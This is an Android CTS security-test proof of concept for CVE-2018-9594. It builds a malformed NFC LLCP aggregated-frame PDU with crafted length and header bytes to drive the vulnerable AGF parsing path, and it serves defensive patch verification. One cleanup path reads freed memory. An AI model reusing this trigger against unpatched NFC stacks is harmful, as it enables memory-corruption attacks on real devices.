unplugged-system/cts/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp

87 lines
2.5 KiB
C++

/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdlib.h>
#include <string.h>
#include <llcp_int.h>
#include <nfc_int.h>
extern tLLCP_CB llcp_cb;
extern tNFC_CB nfc_cb;
void rw_init(void);
void llcp_init(void);
int main() {
GKI_init();
rw_init();
llcp_init();
tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
if (!p_data) {
return EXIT_FAILURE;
}
// NOLINTNEXTLINE(clang-analyzer-unix.MallocSizeof)
p_data->data.p_data = (NFC_HDR *)malloc(16400 * sizeof(uint8_t));
if (!(p_data->data.p_data)) {
free(p_data);
return EXIT_FAILURE;
}
nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
if (!(nfc_cb.quick_timer_queue.p_first)) {
free(p_data);
free(p_data->data.p_data);
return EXIT_FAILURE;
}
uint8_t conn_id = 1;
llcp_cb.lcb.agreed_major_version = LLCP_MIN_SNL_MAJOR_VERSION;
llcp_cb.lcb.agreed_minor_version = LLCP_MIN_SNL_MINOR_VERSION;
llcp_cb.lcb.link_state = LLCP_LINK_STATE_ACTIVATED;
// Set llcp_cb.lcb.local_link_miu greater than p_msg->len
llcp_cb.lcb.local_link_miu = 16400;
llcp_cb.lcb.received_first_packet = true;
llcp_cb.lcb.symm_state = LLCP_LINK_SYMM_REMOTE_XMIT_NEXT;
tNFC_CONN_EVT event = NFC_DATA_CEVT;
NFC_HDR *p_msg = (NFC_HDR *)(p_data->data.p_data);
// p_msg->len is calculated based on the total PDUs in AGF PDU
p_msg->len = 16395;
p_msg->offset = 0;
uint8_t *p = (uint8_t *)(p_msg + 1) + p_msg->offset;
// First 2 bytes are set to values so that call flow goes from llcp_link_proc_rx_data
// to llcp_link_proc_rx_pdu and then to llcp_link_proc_agf_pdu.
*p = 0x00;
*(p + 1) = 0x80;
// The following are trying to emulate PDUs in AGF PDU
*(p + 2) = 0x00;
*(p + 3) = 0x02;
*(p + 4) = 0x02;
*(p + 5) = 0x40;
*(p + 6) = 0x00;
*(p + 7) = 0x01;
*(p + 8) = 0x02;
*(p + 9) = 0x40;
*(p + 10) = 0x00;
*(p + 11) = 0x02;
*(p + 12) = 0x40;
llcp_link_connection_cback(conn_id, event, p_data);
free(p_data);
free(nfc_cb.quick_timer_queue.p_first);
return EXIT_SUCCESS;
}